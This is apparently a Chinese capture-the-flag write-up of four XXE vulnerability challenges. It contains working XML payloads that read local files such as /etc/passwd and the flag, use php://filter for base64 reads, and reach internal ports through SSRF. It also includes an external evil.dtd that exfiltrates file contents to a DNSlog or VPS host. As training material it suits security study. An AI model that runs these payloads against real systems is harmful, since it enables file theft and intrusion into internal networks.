XXE漏洞1(无限制)
XXE特征:在HTTP的Request报文出现一下请求报文,即表明此时是采用XML进行数据传输,就可以测试是否存在XML漏洞。
默认xxe,没有任何限制,可以直接读取flag

XXE漏洞2(限制读取flag,etc可正常读取)
读取etc/passwd正常,但是读取flag回显0
使用php://filter伪协议进行读取
读取后进行Base64解密即可
XXE漏洞3(无回显,远程读取)
使用xxe payload进行读取,后端不返回任何数据,这时候需要使用远程加载的方式进行读取
将file:///flag 处修改为dnslog地址即可,查看dnslog是否有请求数据
dnslog可成功回显

在服务器上创建 evil.dtd文件
evil.dtd文件代码
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://Dnslog地址?p=%file;'>">
XXE payload 代码
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://VPS地址+端口/evil.dtd">
%remote;%int;%send;
]>
<root><username>&send;</username><password>root</password>
</root>

对?p=后面的base64进行解密即可
XXE漏洞4(内网文件读取)
查看题目提示,本题是需要对内网进行读取
读取etchost,查看是否能成功回显
可成功回显,将读取的文件修改为本地端口
XXE payload 代码
<?xml version="1.0"?>
<!DOCTYPE a[
<!ENTITY b SYSTEM "http://127.0.0.1:8080">
]>
<user><username>&b;</username><password>admin</password></user>
将端口进行添加关键字,进行爆破,获取flag